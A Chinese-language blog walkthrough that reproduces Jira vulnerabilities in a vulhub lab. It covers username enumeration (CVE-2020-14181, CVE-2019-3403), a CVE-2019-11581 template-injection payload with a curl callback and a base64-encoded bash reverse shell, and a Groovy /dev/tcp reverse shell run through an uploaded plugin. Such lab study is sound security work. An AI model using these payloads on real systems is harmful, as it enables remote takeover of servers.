Jira 相关漏洞利用

发布于 2022-07-06  1370 次阅读


简介

Atlassian Jira是企业广泛使用的项目与事务跟踪工具,被广泛应用于缺陷跟踪、客户服务、需求收集、流程审批、任务跟踪、项目跟踪和敏捷管理等工作领域。

产品快速搭建

为了方便省时间,我们可以利用vulhub靶场去启用jira的漏洞环境
拉取vulhub

git clone https://github.com/vulhub/vulhub.git

cd vulhub-master/jira/CVE-2019-11581/

docker-compose up -d

容器启动后访问IP:8080就可以访问到jira登录界面了。
初次访问需要安装,根据提示jira官网注册一个账号,然后利用账号申请一个可以试用30天的license,最终完成所有配置,进入系统

漏洞利用

未经身份验证用户名枚举漏洞(CVE-2020-14181)

影响版本

Jira < 7.13.6 Jira 8.0.0 - 8.5.7 Jira 8.6.0 - 8.12.0

漏洞复现

访问

http://192.168.221.132:8080/secure/ViewUserHover.jspa?username=user

提示用户不存在

访问

http://192.168.221.132:8080/secure/ViewUserHover.jspa?username=admin

发现存在admin用户

信息泄露(用户名枚举 CVE-2019-3403)

访问

http://192.168.221.132:8080/rest/api/2/user/picker?query=test

未检索到用户

访问

http://192.168.221.132:8080/rest/api/2/user/picker?query=admin

成功检索到用户

Atlassian JIRA服务器模板注入(CVE-2019-11581)

利用条件:

已开启联系管理员表单

漏洞复现

开启方式:

管理员登录后访问

http://xx.xx.xx.xx:8080/secure/admin/VerifySmtpServerConnection!add.jspa

进入配置界面


先配置好SMTP
接着访问

http://xx.xx.xx.xx:8080/secure/admin/EditApplicationProperties!default.jspa

开启表单

接着未登录的情况下访问

http://xx.xx.xx.xx:8080/secure/ContactAdministrators!default.jspa

成功访问到表单

填入poc

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl 172.20.0.1:8888').waitFor()

在另一台机器上监听8888端口,发送表单

稍等一会成功收到请求。

接下来我们来反弹shell

进行反弹操作时,由于Runtime.getRuntime().exec()不能执行管道命令的问题,需要将exec内的命令进行base64编码

exp:

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE3Mi4yMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}").waitFor()

发出请求后成功反弹回shell

该漏洞在后台也有利用点
http://xx.xx.xx.xx:8080/secure/admin/SendBulkMail!default.jspa

利用MyGroovy插件进行getshell

管理插件接口地址
http://xx.xx.xx.xx:8080/plugins/servlet/upm?source=side_nav_manage_addons

查看jira对应版本接口地址
http://xx.xx.xx.xx:8080/secure/admin/ViewSystemInfo.jspa

接着下载对应版本的插件

https://marketplace.atlassian.com/apps/1218755/mygroovy/version-history

接着从插件管理界面上传安装该插件

安装成功后,进入MyGroovy console执行反弹脚本,如下

def r = Runtime.getRuntime()
def p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/172.20.0.1/3333;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()


届ける言葉を今は育ててる
最后更新于 2022-07-06